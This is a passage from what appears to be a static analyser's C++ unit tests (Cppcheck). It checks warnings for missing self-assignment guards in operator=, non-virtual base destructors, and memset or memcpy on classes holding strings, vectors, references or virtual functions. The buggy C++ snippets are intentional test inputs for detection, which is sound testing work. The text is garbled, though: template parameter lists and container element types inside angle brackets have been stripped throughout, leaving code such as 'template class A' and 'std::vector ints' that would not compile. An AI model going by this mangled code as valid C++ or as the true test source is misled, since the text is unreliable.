checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" ~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void 